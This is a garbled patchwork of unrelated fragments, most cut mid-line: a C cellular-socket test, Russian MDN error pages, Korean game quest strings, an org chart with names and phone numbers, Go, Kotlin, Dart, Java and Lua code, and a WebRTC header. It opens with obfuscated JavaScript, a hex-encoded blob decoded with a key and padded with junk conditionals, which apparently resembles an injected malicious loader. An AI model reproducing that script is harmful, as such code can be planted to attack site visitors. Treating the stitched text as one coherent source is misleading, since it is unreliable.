181e4a180f08570e1d1c1755055a1949470d0d1f1543444a415b550a030a09090a01450616064a180f08570e1d1c1755055a1949470d0d1f1543444a140e091b04100b05000a0202171c0a0b001657080a1445040c44041d064b1c1300055b194817555503110d1b5f5644160d04171c04100d07000d450616064b1b194a180f08570e1d1c1755055a1949470d0d1f1543444a090a160a020a174608161f0a1a1e090d1e171c450616064a180f08570e1d1c1755055a1949470d0d1f1543444a1502110d07000a030a0904030d19001818100b0e1657080a571e0e560a01144500010e19491754055b49111f1109514a56010c150a0b10184b1a044b0c004a180f08570e1d1c1755055a1949470d0d1f1543444a0a03171c0e04170a0b1d081718080e1c1916180c0017081c57080a1444041d064b1c1300055b194817555503110d1b5f564411110e071c0a100d12160d0a1110040b57080a1444041d064b1c1300055b194817555503110d1b5f5644091c0a0b1e0e0c171f0c140a111c184b1a0408560a01144500010e19491754055b49111f1109514a5604031f02061c1204171f1718450616064a180f08570e1d1c1755055a1949470d0d1f1543444a18180e18050b00084b1a0408560a01144500010e19491754055b49111f1109514a560d091c0a110b040b10081657080a1444041d064b1c1300055b194817555503110d1b5f5644080005040a1f0457080a1444041d064b1c1300055b19481755", "key");if("-52072".length >= parseInt(11111111111111110101101111100000, 2)){iSA = 'd0e0';}var Nk = 0;if(Math.acos(Nk) >= 0){xFx = "";}var nde = "-15378";var Ae = "\x35\x33\x30\x30\x65\x66\x34\x32";if(nde == Ae){var wn = false;}if("2a97".lastIndexOf("") == 0){var pU = parseInt(147106, 8);}if("40754".indexOf("34387") < 0){var WC = false;}var kR = kR.split(",");if("4862f".indexOf("9e2820") == -1){var hCD = 12157;}else{var YR = "dc86";}if(parseInt(10101101101101, 2) > 0xba6f){var gdg = "48585";}var LiI = -1;if(Math.sin(LiI) > 0){cE = "encompass";}else{var snN = '\x39\x63\x35\x36\x33\x34';}var pZs = "\x37\x63\x65\x33\x32\x38\x34";var QsU = "\x30\x61\x39\x34\x65\x65\x61";if(pZs != QsU){rF = parseInt(-10888);}var wg = 0;if(Math.acos(wg) === 0){c_h = 0xffffd1f9;}else{vr5 = "e26dbb5b";}var k = new Array();if("10421".indexOf("21ad") == 0){Ouj = "37e33";}else{var zwt = parseInt(-28382);}if("40329".indexOf("") == 0){RnP = fa


bool gClosedCallbackCalledUdp = false;

/** Flag to indicate that the TCP closed
 * callback has been called.
 */
static volatile bool gClosedCallbackCalledTcp = false;

/** Flag to indicate that the async closed
 * callback has been called.
 */
static volatile bool gAsyncClosedCallbackCalled = false;

/** A string of all possible characters, including strings
 * that might appear as terminators in the AT interface.
 */
static const char gAllChars[] = "the quick brown fox jumps over the lazy dog "
                                "THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 0123456789 "
                                "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
                                "\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c"
                                "\x1d\x1e!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~\x7f"
                                "\r\nOK\r\n \r\nERROR\r\n \r\nABORTED\r\n";

/* ----------------------------------------------------------------
 * STATIC FUNCTIONS: SOCKET OPTIONS RELATED
 * These functions are not marked as static as they are only used
 * as callbacks in a table: the compiler can't tell they are
 * are being used and complains if they are marked as static.
 * -------------------------------------------------------------- */

// Compare two socket IP addresses. Returns 0 if equal.
static inline int32_t compareIpAddr(const uSockIpAddress_t *pAddr1,
                                    const uSockIpAddress_t *pAddr2)
{
    int32_t ret;
    ret = memcmp(&(pAddr1->type),
                 &(pAddr2->type),
                 sizeof(pAddr1->type));
    if (ret == 0) {
        if (pAddr1->type == U_SOCK_ADDRESS_TYPE_V4) {
            ret = memcmp(&(pAddr1->address.ipv4),
                         &(pAddr2->address.ipv4),
                         sizeof(pAddr1->address.ipv4));
        } else {
            ret = memcmp(&(pAddr1->address.ipv6[0]),
                         &(pAddr2->address.ipv6[0]),
                         sizeof(pAddr1->address.ipv6));
        }
    }
    return ret;
}

// Compare two int32_t values.
bool compareInt32(const void *p1, const void *p2)
{
    return *(const int32_t *) p1 == *(const int32_t *) p2;
}

// Change an int32_t value.
void changeInt32(void *p)
{
    (*((int32_t *) p))++;
}

// Change an int32_t keeping it positive.
void changeInt32Positive(void *p)
{
    // Add 1000 because the SARA-R5 keep idle socket option
    // is in increments of 1000 only.
    (*((int32_t *) p)) += 1000;
    if (*(int32_t *) p < 0) {
        *(int32_t *) p = 0;
    }
}

// Change value modulo 256.
void changeMod256(void *p)
{
    *(int32_t *) p = (*((int32_t *) p) + 1) % 256;
}

// Change value modulo 256 and non-zero.
void changeMod256NonZero(void *p)
{
    *(int32_t *) p = (*((int32_t *) p) + 1) % 256;
    if (*(int32_t *) p == 0) {
        *(int32_t *) p = 1;
    }
}

// Change a value modulo 2.
void changeMod2(void *p)
{
    *(int32_t *) p = (*((int32_t *) p) + 1) % 2;
}

// Compare two uSockLinger_t values.
bool compareLinger(const void *p1, const void *p2)
{
    bool result = false;

    result = (((const uSockLinger_t *) p1)->onNotOff == ((const uSockLinger_t *) p2)->onNotOff);
    if (((const uSockLinger_t *) p1)->onNotOff || ((const uSockLinger_t *) p2)->onNotOff) {
        result = (((const uSockLinger_t *) p1)->lingerSeconds == ((const uSockLinger_t *)
                                                                  p2)->lingerSeconds);
    }

    return result;
}

// Increment the contents of a uSockLinger_t value.
// Note: changes both the on/off and the value
void changeLinger(void *p)
{
    // If linger is not on the linger value will not be filled
    // in so set it to something sensible
    if (((uSockLinger_t *) p)->onNotOff == 0) {
        ((uSockLinger_t *) p)->lingerSeconds = 0;
    }

    ((uSockLinger_t *) p)->onNotOff = (((uSockLinger_t *) p)->onNotOff + 1) % 2;
    ((uSockLinger_t *) p)->lingerSeconds = (((uSockLinger_t *) p)->lingerSeconds + 1) % 32768;
}

/* ----------------------------------------------------------------
 * MORE VARIABLES: SUPPORTED SOCKET OPTIONS
 * -------------------------------------------------------------- */

// Table of supported socket options.
static uCellSockTestOption_t gSupportedOptions[] = {
    {
        (1UL << U_CELL_MODULE_TYPE_SARA_R422) | /* Not SARA-R422 or LARA-R6 and on */
        (1UL << U_CELL_MODULE_TYPE_LEXI_R422) |
        (1UL << U_CELL_MODULE_TYPE_LARA_R6)   |
        (1UL << U_CELL_MO


rMenu_keyword_list gtm" gtm-label="menu_kw">

                AI

                デジタルトランスフォーメーション

                クラウド

                SaaS

                Python

                5G

                導入事例

                ウクライナ情勢

            キーワード一覧<svg class="headerMenu_keyword_moreSvg"><use xlink:href="#large-arrow"/></svg>

        チャンネル一覧

            総合トップ

              TECH+

              +Digital

              みんデジ

              ワー&#x


ите также

- [super()](/ru/docs/Web/JavaScript/Reference/Operators/super)
- [`class` expression](/ru/docs/Web/JavaScript/Reference/Operators/class)
- [`class` declaration](/ru/docs/Web/JavaScript/Reference/Statements/class)
- [Classes](/ru/docs/Web/JavaScript/Reference/Classes)
- [Object.prototype.constructor](/ru/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor)
---
title: "RangeError: repeat count must be non-negative"
slug: Web/JavaScript/Reference/Errors/Negative_repetition_count
---

{{jsSidebar("Errors")}}

## Сообщение

```
RangeError: repeat count must be non-negative (Firefox)
RangeError: Invalid count value (Chrome)
```

## Тип ошибки

{{jsxref("RangeError")}}

## Что пошло не так?

Был использован метод {{jsxref("String.prototype.repeat()")}}, с параметром `count`, указывающим количество повторений строки. Параметр может принимать значения между 0 и положительной {{jsxref("Infinity")}}, и не может быть отрицательным числом. Диапазон допустимых значений может быть описан следующим образом: \[0, + ∞).

## Примеры

### Неверно

```js example-bad
"abc".repeat(-1); // RangeError
```

### Верно

```js example-good
"abc".repeat(0); // ''
"abc".repeat(1); // 'abc'
"abc".repeat(2); // 'abcabc'
"abc".repeat(3.5); // 'abcabcabc' (count will be converted to integer)
```

## Смотрите также

- {{jsxref("String.prototype.repeat()")}}
---
title: 'SyntaxError: invalid regular expression flag "x"'
slug: Web/JavaScript/Reference/Errors/Bad_regexp_flag
---

{{jsSidebar("Errors")}}

## Сообщение

```
SyntaxError: invalid regular expression flag "x" (Firefox)
SyntaxError: Invalid regular expression flags (Chrome)
```

## Тип ошибки

{{jsxref("SyntaxError")}}

## Что пошло не так?

В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключённый между двумя слешами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очерёдности, но в ECMAScript их только пять.

Чтоб включить флаг в регулярное выражение, используйте синтаксис:

```js
var re = /pattern/flags;
```

или

```js
var re = new RegExp("pattern", "flags");
```

Флаги регулярного выражения

| Флаг | Описание                                                                                |
| ---- | -------------------------------------------------------------------------------------------------------------------------------- |
| `g`  | Глобальный поиск.


골짜기"}},
[31058] = {"톡 쏘는 원숭이 맥주", nil, {"선장 우끼를 물리쳐야 합니다. 레벨 15 웅가 잉구"}},
[31060] = {"Dawson test POI", nil, nil},
[31061] = {"폭풍을 타고", nil, {"청동 발톱을 사용하여 샨쩌 구름길잡이 8마리에 올라간 다음, 그들을 공격해 타락에서 구해내야 합니다."}},
[31062] = {"죽은 이가 말할 때", nil, {"샨쩌 죽음예언자를 처치해야 합니다. 레벨 25 탕랑 평원"}},
[31063] = {"라오친과 세레벡스", nil, {"무쇠뱃살 라오친과 함께 세레벡스를 처치해야 합니다. 레벨 25 탕랑 평원"}},
[31064] = {"누롱과 로데크", nil, {"매사냥꾼 누롱과 함께 로데크를 처치해야 합니다. 레벨 25 탕랑 평원"}},
[31065] = {"아래 묻힌 건...", nil, {"런싸이의 감시초소에 있는 망원경으로 상황을 살펴야 합니다. 레벨 25 탕랑 평원"}},
[31066] = {"어둠 속에서 들려오는 외침", nil, {"키파리 보르에서 부패한 용장을 처치해야 합니다. 레벨 30 공포의 황무지"}},
[31067] = {"하늘에 전운이 감돌 때", nil, {"아직스 크타이를 처치해야 합니다. 레벨 30 공포의 황무지"}},
[31068] = {"신성한 비법", nil, {"점괘 두루마리를 일몰 양조정원에 있는 열 곡조의 리아에게 가져가야 합니다. 레벨 30 공포의 황무지"}},
[31069] = {"그늘로 엮이리라", nil, {"일몰 양조정원 부근에서 샤 생명체와 야생동물을 처치하여 그늘 100개를 모아야 합니다. 레벨 30


g Operations", email: "jamejenk@name.com", groupTitleColor: "#4169e1", image: "../images/photos/y.png", itemTitleColor: "#008b8b", phone: "785-242-7665", title: "James Jenkins", label: "James Jenkins" },
  { id: 6666682, parent: 6666681, description: "GM, Client Engagement", email: "willhill@name.com", groupTitleColor: "#4169e1", image: "../images/photos/u.png", itemTitleColor: "#008b8b", phone: "214-379-9850", title: "William Hills", label: "William Hills" },
  { id: 6666683, parent: 6666681, description: "GM and Solutions Owner, Pricing", email: "presmars@name.com", groupTitleColor: "#4169e1", image: "../images/photos/i.png", itemTitleColor: "#008b8b", phone: "415-295-7157", title: "Preston Marshall", label: "Preston Marshall" },
  { id: 6666684, parent: 6666681, description: "GM, Delivery and Support", email: "kendhibb@name.com", groupTitleColor: "#4169e1", image: "../images/photos/o.png", itemTitleColor: "#008b8b", phone: "209-664-2783", title: "Kendra Hibbard", label: "Kendra Hibbard" },
  { id: 6666685, parent: 6666667, description: "GM, Licensing", email: "michshel@name.com", groupTitleColor: "#4169e1", image: "../images/photos/p.png", itemTitleColor: "#008b8b", phone: "630-404-8901", title: "Michael Sheldon", label: "Michael Sheldon" },
  { id: 6666686, parent: 6666667, description: "GM, Commercial IT Systems Planning", email: "alangall@name.com", groupTitleColor: "#4169e1", image: "../images/photos/a.png", itemTitleColor: "#008b8b", phone: "206-623-1461", title: "Alan Gallegos", label: "Alan Gallegos" },
  { id: 6666687, parent: 6666667, description: "GM, EPG Solutions Delivery", email: "timopace@name.com", groupTitleColor: "#4169e1", image: "../images/photos/s.png", itemTitleColor: "#008b8b", phone: "214-615-6715", title: "Timothy Pace", label: "Timothy Pace" },
  { id: 6666688, parent: 6666667, description: "GM, Services Solutions Delivery", email: "cletrobb@name.com", groupTitleColor: "#4169e1", image: "../images/photos/d.png", itemTitleColor: "#008b8b", phone: "612-580-9220", title: "Cleta Robbins", label: "Cleta Robbins" },
  { id: 6666689, parent: 6666667, description: "GM, PLAINBOX Operations Management Americas and Asia", email: "johncros@name.com", groupTitleColor: "#4169e1", image: "../images/photos/f.png", itemTitleColor: "#008b8b", phone: "956-832-6989", title: "John Cross", label: "John Cross" },
  { id: 6666690, parent: 6666350, description: "GM, WW Business Strategy", email: "harrches@name.com", groupTitleColor: "#4169e1", image: "../images/photos/g.png", itemTitleColor: "#008b8b", phone: "775-828-5972", title: "Harriet Chester", label: "Harriet Chester" },
  { id: 6666691, parent: 66660, description: "Sr. VP, Human Resources", email: "krisnels@name.com", groupTitleColor: "#4169e1", image: "../images/photos/h.png", itemTitleColor: "#B800E6", phone: "803-675-6422", title: "Kristen Nelson", label: "Krist


Request(test, "http://localhost:2016", OpenAiApiCompletionRequest{
		Model:  "non-existent",
		Prompt: "This is a test prompt\nЭто проверочный промт\n这是一个测试提示",
		Stream: false,
	}, nil)
	if resp.StatusCode != http.StatusBadRequest {
		test.Fatalf("Expected status code 400, got %d", resp.StatusCode)
	}
	if err := resp.Body.Close(); err != nil {
		test.Error(err)
	}

	//Still no services should be running
	assertPortsAreClosed(test, []string{"localhost:12017", "localhost:12018", "localhost:12019", "localhost:12020", "localhost:12021", "localhost:12022", "localhost:12023"})

	testCompletionRequest(test, "http://localhost:2016", "openai-api_openai-api-1", nil)
	assertPortsAreClosed(test, []string{"localhost:12019", "localhost:12020", "localhost:12021", "localhost:12022", "localhost:12023"})

	testCompletionStreamingExpectingSuccess(test, "openai-api_openai-api-1")
	testChatCompletionRequestExpectingSuccess(test, "http://localhost:2016", "openai-api_openai-api-1")
	testChatCompletionStreamingExpectingSuccess(test, "http://localhost:2016", "openai-api_openai-api-1")

	llm1Pid := runReadPidCloseConnection(test, "localhost:12018")
	assertPortsAreClosed(test, []string{"localhost:12019", "localhost:12020", "localhost:12021", "localhost:12022", "localhost:12023"})

	time.Sleep(4 * time.Second)

	if isProcessRunning(llm1Pid) {
		test.Fatalf("openai-api_openai-api-1 service is still running, but inactivity timeout should have shut it down by now")
	}
	assertPortsAreClosed(test, []string{"localhost:12017", "localhost:12018", "localhost:12019", "localhost:12020", "localhost:12021", "localhost:12022", "localhost:12023"})

	testChatCompletionRequestExpectingSuccess(test, "http://localhost:2016", "fizz")
	assertPortsAreClosed(test, []string{"localhost:12017", "localhost:12018", "localhost:12021", "localhost:12022", "localhost:12023"})

	testCompletionRequest(test, "http://localhost:2016", "fizz", nil)
	assertPortsAreClosed(test, []string{"localhost:12017", "localhost:12018", "localhost:12021", "localhost:12022", "localhost:12023"})

	testChatCompletionStreamingExpectingSuccess(test, "http://localhost:2016", "fizz")
	assertPortsAreClosed(test, []string{"localhost:12017", "localhost:12018", "localhost:12021", "localhost:12022", "localhost:12023"})

	testCompletionStreamingExpectingSuccess(test, "fizz")
	assertPortsAreClosed(test, []string{"localhost:12017", "localhost:12018", "localhost:12021", "localhost:12022", "localhost:12023"})
	llm2Pid := runReadPidCloseConnection(test, "localhost:12020")
	time.Sleep(4 * time.Second)
	if isProcessRunning(llm2Pid) {
		test.Fatalf("openai-api_openai-api-2 service is still running, but inactivity timeout should have shut it down by now")
	}

	testCompletionRequest(test, "http://localhost:2016", "buzz", nil)
	llm2Pid = runReadPidCloseConnection(test, "localhost:12020")
	time.Sleep(4 * time.Second)
	assertPortsAreClosed(test, []string{"localhost:12017", "localhost:12018", "localhost:12021", "localhost:12022", "localhost:12023"})
	if isProcessRunning(llm2Pid) {
		test.Fatalf("


TERMINAL_FONT_ZOOM_DEFAULT_VALUE = 100
    val CMDCLICK_URL_HISTOTY_OR_BUTTON_EXEC_DEFAULT_VALUE = SettingVariableSelects.UrlHistoryOrButtonExecSelects.URL_HISTORY.name
    val ON_ADBLOCK_DEFAULT_VALUE = SettingVariableSelects.OnAdblockSelects.OFF.name
    val ON_LAUNCH_URL_HISTORY_BY_BACKSTACK_DEFAULT_VALUE = SettingVariableSelects.OnLaunchUrlHistoryByBackstack.OFF.name
    val CMDCLICK_ON_AUTO_EXEC_DEFAULT_VALUE =  SettingVariableSelects.AutoExecSelects.ON.name
    val ON_TERM_VISIBLE_WHEN_KEYBOARD_DEFAULT_VALUE = SettingVariableSelects.OnTermVisibleWhenKeyboardSelects.OFF.name
    val DISABLE_SHOW_TOOLBAR_WHEN_HIGHLIGHT_DEFAULT_VALUE = SettingVariableSelects.DisableShowToolbarWhenHighlightSelects.ON.name
    val DEFAULT_MONITOR_FILE_DEFAULT_VALUE = UsePath.cmdClickMonitorFileName_1
    val fannelDirName = CcPathTool.makeFannelDirName(
        SystemFannel.preference
    )
//    private val homeScriptUrlsFilePath = UsePath.homeScriptUrlsFilePath
//    private val homeFannelsFilePath =
//        UsePath.homeFannelsFilePath
    private val macroStrForDragSortGetListPathFromVar =
        ProducerMacro.macroStrForDragSortGetListPathFromVar
    private val buttonCmd = ButtonViewProducer.ButtonEditKey.cmd.name
    private val buttonLabel = ButtonViewProducer.ButtonEditKey.label.name
    private val buttonSetfType =
        ButtonViewProducer.SET_F_OPTION_MAP_KEY.type
    private val buttonSetfListAddSuffix =
        ButtonViewProducer.SET_F_OPTION_MAP_KEY.ListAdd.suffix.name
    private val buttonSetfListAddSourceDirPath =
        ButtonViewProducer.SET_F_OPTION_MAP_KEY.ListAdd.dirPath.name
//    private val buttonSetfListAddHowFull =
//        ButtonViewProducer.SET_F_OPTION_MAP_KEY.ListAdd.howFull.name
    private val listPathForListConSlSpi =
        ListContentsSelectSpinnerViewProducer.ListContentsEditKey.listPath.name
    private val limitNumForListConSlSpi =
        ListContentsSelectSpinnerViewProducer.ListContentsEditKey.limitNum.name
//    private val setVaraibleValueForHomeScriptUrlsPath =
//        "$listPathForListConSlSpi=" +
//                "$macroStrForDragSortGetListPathFromVar:${homeScriptUrlsFilePath}" +
//                    "?$limitNumForListConSlSpi=20" +
//                "|$buttonCmd=" +
//                    listOf(
//                        "setf $buttonSetfType=${SettingCmdArgs.ListAdd.name}",
//                        "$buttonSetfListAddSuffix=.js&.sh&.html",
//                        "$buttonSetfListAddSourceDirPath=\${01}",
//                        "$buttonSetfListAddHowFull=on?$buttonLabel=ADD"
//                    ).joinToString(" ")
//    private val setVariableValueForHomeFannelsPath =
//        "$listPathForListConSlSpi=" +
//                "$macroStrForDragSortGetListPathFromVar:$homeFannelsFilePath" +
//                    "?$limitNumForListConSlSpi=20" +
//                "|$buttonCmd=" +
//                listOf(
//                    "setf $buttonSetfType=${SettingCmdArgs.ListAdd.name}",
//                    "$buttonSetfListAddSuffix=${UsePath.JS_FILE_SUFFIX}",
//                    "$buttonSetfListAddSourceDirPath=${UsePath.cmdclickAppHistoryDirAdminPath}" +
//                            "?$buttonLabel=ADD"
//                ).joinToString(" ")
    private val srcImageAnchorLongPressMenuFilePath =
        UsePath.srcImageAnchorLongPressMenuFilePath
    private val srcAnchorLongPressMenuFilePath =
        UsePath.srcAnchorLongPressMenuFilePath
    private val


final FieldValue value = wrap(test);
      final proto_.Value data = valueBuilder()
        ..stringValue = test
        ..freeze();
      assertRoundTrip(value, data, ValueTypeCase.stringValue);
    }
  });

  test('testEncodesDates', () {
    final DateTime date1 = DateTime.utc(2016, 1, 2, 10, 20, 50, 500);
    final DateTime date2 = DateTime.utc(2016, 6, 17, 10, 50, 15);

    final List<DateTime> tests = <DateTime>[date1, date2];

    final proto.Timestamp ts1 = proto.Timestamp.create()
      ..nanos = 500000000
      ..seconds = Int64(1451730050);

    final proto.Timestamp ts2 = proto.Timestamp.create()
      ..nanos = 0
      ..seconds = Int64(1466160615);

    final List<proto_.Value> expected = <proto_.Value>[
      valueBuilder()
        ..timestampValue = ts1
        ..freeze(),
      valueBuilder()
        ..timestampValue = ts2
        ..freeze()
    ];

    for (int i = 0; i < tests.length; i++) {
      final FieldValue value = wrap(tests[i]);
      assertRoundTrip(value, expected[i], ValueTypeCase.timestampValue);
    }
  });

  test('testEncodesGeoPoints', () {
    final FieldValue geoPoint = wrap(const GeoPoint(1.23, 4.56));
    final proto_.Value data = valueBuilder()
      ..geoPointValue = (proto.LatLng.create()
        ..latitude = 1.23
        ..longitude = 4.56)
      ..freeze();

    assertRoundTrip(geoPoint, data, ValueTypeCase.geoPointValue);
  });

  test('testEncodesBlobs', () {
    final FieldValue _blob = wrap(blob(<int>[0, 1, 2, 3]));
    final proto_.Value data = valueBuilder()
      ..bytesValue = <int>[0, 1, 2, 3]
      ..freeze();

    assertRoundTrip(_blob, data, ValueTypeCase.bytesValue);
  });

  test('testEncodesReferences', () {
    final DocumentReference value = ref('foo/bar');
    final FieldValue reference = wrap(value);
    final proto_.Value data = valueBuilder()
      ..referenceValue =
          'projects/project/databases/(default)/documents/foo/bar'
      ..freeze();

    assertRoundTrip(reference, data, ValueTypeCase.referenceValue);
  });

  test('testEncodeArrays', () {
    final FieldValue model = wrap(<dynamic>[true, 'foo']);
    final proto.ArrayValue builder = proto.ArrayValue.create()
      ..values.add(valueBuilder()..booleanValue = true)
      ..values.add(valueBuilder()..stringValue = 'foo');

    final proto_.Value data = valueBuilder()
      ..arrayValue = builder
      ..freeze();

    assertRoundTrip(model, data, ValueTypeCase.arrayValue);
  });

  test('testEncodesNestedObjects', () {
    final FieldValue model = wrapMap(map<dynamic>(<dynamic>[
      'b',
      true,
      'd',
      double.maxFinite,
      'i',
      1,
      'n',
      null,
      's',
      'foo',
      'a',
      <dynamic>[
        2,
        'bar',
        map<dynamic>(<dynamic>['b', false])
      ],
      'o',
      map<dynamic>(<dynamic>[
        'd',
        100,
        'nested',
        map<dynamic>(<dynamic>['e', IntegerValue.min])
      ])
    ]));

    proto.MapValue inner = proto.MapValue.create()
      ..fields['b'] = (valueBuilder()..booleanValue = false);

    final proto.ArrayValue array = proto.ArrayValue.create()
      ..values.add(valueBuilder()..integerValue = Int64(2))
      ..values.add(valueBuilder()..stringValue = 'bar')
      ..values.add(valueBuilder()..mapValue = inner);

    i


private boolean checkModel(DenseVector model) {
        for (VectorScalar term : model) {
            if (Float.isNaN(term.getValue())) {
                return false;
            }
            if (Float.isInfinite(term.getValue())) {
                return false;
            }
            // psiGamma遇到负整数会变为NaN或者无穷.
            // logGamma遇到负数会变为NaN或者无穷.
            if (term.getValue() <= 0F) {
                return false;
            }
        }
        return true;
    }

    // 线程缓存
    // E Step
    private ThreadLocal<float[]> alphaStorage = new ThreadLocal<>();
    private ThreadLocal<float[]> betaStorage = new ThreadLocal<>();
    private ThreadLocal<float[]> rhoStorage = new ThreadLocal<>();
    private ThreadLocal<float[]> binomialStorage = new ThreadLocal<>();
    private ThreadLocal<float[]> multinomialStorage = new ThreadLocal<>();
    private ThreadLocal<float[]> normContextStorage = new ThreadLocal<>();
    private ThreadLocal<float[]> normStateStorage = new ThreadLocal<>();
    private ThreadLocal<float[]> sumGammaStorage = new ThreadLocal<>();
    private ThreadLocal<float[]> gammaSumStorage = new ThreadLocal<>();

    // M Step
    private ThreadLocal<DenseVector> numeratorStorage = new ThreadLocal<>();
    private ThreadLocal<DenseVector> denominatorStorage = new ThreadLocal<>();
    private ThreadLocal<DenseVector> probabilityNumeratorStorage = new ThreadLocal<>();
    private ThreadLocal<AtomicDouble> probabilityDenominatorStorage = new ThreadLocal<>();
    private ThreadLocal<DenseMatrix> stateNumeratorStorage = new ThreadLocal<>();
    private ThreadLocal<DenseMatrix> viewNumeratorStorage = new ThreadLocal<>();
    private ThreadLocal<DenseVector> viewDenominatorStorage = new ThreadLocal<>();

    @Override
    protected void constructEnvironment() {
        // E Step并发计算部分
        alphaStorage.set(new float[contextSize * numberOfStates]);
        betaStorage.set(new float[contextSize * numberOfStates]);
        rhoStorage.set(new float[numberOfStates * numberOfStates]);
        normContextStorage.set(new float[contextSize]);
        normStateStorage.set(new float[numberOfStates]);
        sumGammaStorage.set(new float[contextSize]);
        gammaSumStorage.set(new float[contextSize]);
        binomialStorage.set(new float[contextSize * numberOfStates]);
        multinomialStorage.set(new float[contextSize * numberOfStates]);

        // M Step并发计算部分
        numeratorStorage.set(DenseVector.valueOf(numberOfStates));
        denominatorStorage.set(DenseVector.valueOf(numberOfStates));

        probabilityNumeratorStorage.set(DenseVector.valueOf(numberOfStates));
        probabilityDenominatorStorage.set(new AtomicDouble());
        stateNumeratorStorage.set(DenseMatrix.valueOf(numberOfStates, numberOfStates));
        viewNumeratorStorage.set(DenseMatrix.valueOf(numberOfStates, itemSize));
        viewDenominatorStorage.set(DenseVector.valueOf(numberOfStates));
    }

    @Override
    protected void destructEnvironment() {
        // E Step并发计算部分
        alphaStorage.remove();
        betaStorage.remove();
        rhoStorage.remove();
        normContextStorage.remove();
        normStateStorage.remove();
        sumGammaStorage.remove();
        gammaSumStorage.remove();
        binomialStorage.remove();
        multinomialStorage.remove();

        // M Step并发计算部分
        numeratorStorage.remove();
        denominatorStorage.remove();

        probabilityNumeratorStorage.remove();
        probabilityDenominatorStorage.remove();
        stateNumeratorStorage.remove();
        viewNumeratorStorage.remove();
        viewDenominatorStorage.remove();
    }

    /**
     * 准备模型
     */
    private void prepareModel() {
        probabilityNumerator = DenseVector.valueOf(numberOfStates);
        probabilityDenominator


.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 *
 * Please contact Sun Microsystems, Inc., 4150 Network Circle, Santa Clara,
 * CA 95054 USA or visit www.sun.com if you need additional information or
 * have any questions.
 */
package java.awt;

import java.awt.peer.MenuItemPeer;
import java.awt.event.*;
import java.util.EventListener;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.IOException;
import javax.accessibility.*;

/**
 * All items in a menu must belong to the class
 * MenuItem, or one of its subclasses.
 *

 * The default MenuItem object embodies
 * a simple labeled menu item.
 *

 * This picture of a menu bar shows five menu items:
 *
 *

 * The first two items are simple menu items, labeled
 * "Basic" and "Simple".
 * Following these two items is a separator, which is itself
 * a menu item, created with the label "-".
 * Next is an instance of CheckboxMenuItem
 * labeled "Check". The final menu item is a
 * submenu labeled "More Examples",
 * and this submenu is an instance of Menu.
 *

 * When a menu item is selected, AWT sends an action event to
 * the menu item. Since the event is an
 * instance of ActionEvent, the processEvent
 * method examines the event and passes it along to
 * processActionEvent. The latter method redirects the
 * event to any ActionListener objects that have
 * registered an interest in action events generated by this
 * menu item.
 *

 * Note that the subclass Menu overrides this behavior and
 * does not send any event to the frame until one of its subitems is
 * selected.
 *
 * @author Sami Shaio
 */
public class MenuItem extends MenuComponent implements Accessible {

    static {
        /* ensure that the necessary native libraries are loaded */
        Toolkit.loadLibraries();
        if (!GraphicsEnvironment.isHeadless()) {
            initIDs();
        }
    }

    /**
     * A value to indicate whether a menu item is enabled
     * or not.  If it is enabled, enabled will
     * be set to true.  Else enabled will
     * be set to false.
     *
     * @serial
     * @see #isEnabled()
     * @see #setEnabled(boolean)
     */
    boolean enabled = true;

    /**
     * label is the label of a menu item.
     * It can be any string.
     *
     * @serial
     * @see #getLabel()
     * @see #setLabel(String)
     */
    String label;

    /**
     * This field indicates the command tha has been issued
     * by a  particular menu item.
     * By default the actionCommand
     * is the label of the menu item, unless it has been
     * set using setActionCommand.
     *
     * @serial
     * @see #setActionCommand(String)
     * @see #getActionCommand()
     */
    String actionCommand;

    /**
     * The eventMask is ONLY set by subclasses via enableEvents.
     * The mask should NOT be set when listeners are registered
     * so that we can distinguish the difference between when
     * listeners request events and subclasses req


/*
 *  Copyright 2018 The WebRTC project authors. All Rights Reserved.
 *
 *  Use of this source code is governed by a BSD-style license
 *  that can be found in the LICENSE file in the root of the source
 *  tree. An additional intellectual property rights grant can be found
 *  in the file PATENTS.  All contributing project authors may
 *  be found in the AUTHORS file in the root of the source tree.
 */

#ifndef SDK_ANDROID_NATIVE_API_BASE_NETWORKMONITOR_H_
#define SDK_ANDROID_NATIVE_API_BASE_NETWORKMONITOR_H_

#include <jni.h>

#include <memory>

#include "rtc_base/networkmonitor.h"

namespace webrtc {

// Creates an Android-specific network monitor, which is capable of detecting
// network changes as soon as they occur, requesting a cellular interface
// (dependent on permissions), and binding sockets to network interfaces (more
// reliable than binding to IP addresses on Android).
std::unique_ptr<rtc::NetworkMonitorFactory> CreateAndroidNetworkMonitorFactory(
    JNIEnv* env,
    jobject application_context);

// Deprecated. Pass in application context instead.
std::unique_ptr<rtc::NetworkMonitorFactory>
CreateAndroidNetworkMonitorFactory();

}  // namespace webrtc

#endif  // SDK_ANDROID_NATIVE_API_BASE_NETWORKMONITOR_H_


" then
        self.Eye:StartFoundAnimationInit();
    elseif event == "LFG_PROPOSAL_FAILED" then
        self.Eye:StartSearchingAnimation();
    elseif event == "LFG_LIST_ACTIVE_ENTRY_UPDATE" then
        if (C_LFGList.HasActiveEntryInfo()) then
            self.Eye:StartSearchingAnimation();
        else
            self.Eye:StartIdleAnimation();
        end
    end
end

function DragonflightUILFGButtonImprovedMixin:IsInitialEyeAnimFinished()
    return self.Eye.currAnim == LFG_EYE_INIT_ANIM and not self.Eye.EyeInitial.EyeInitialAnim:IsPlaying();
end

function DragonflightUILFGButtonImprovedMixin:IsFoundInitialAnimFinished()
    return self.Eye.currAnim == LFG_EYE_FOUND_INIT_ANIM and not self.Eye.EyeFoundInitial.EyeFoundInitialAnim:IsPlaying();
end

function DragonflightUILFGButtonImprovedMixin:ShouldStartHoverAnim()
    return self.cursorOnButton and self.Eye.currAnim == LFG_EYE_SEARCH


				}
			},
			{
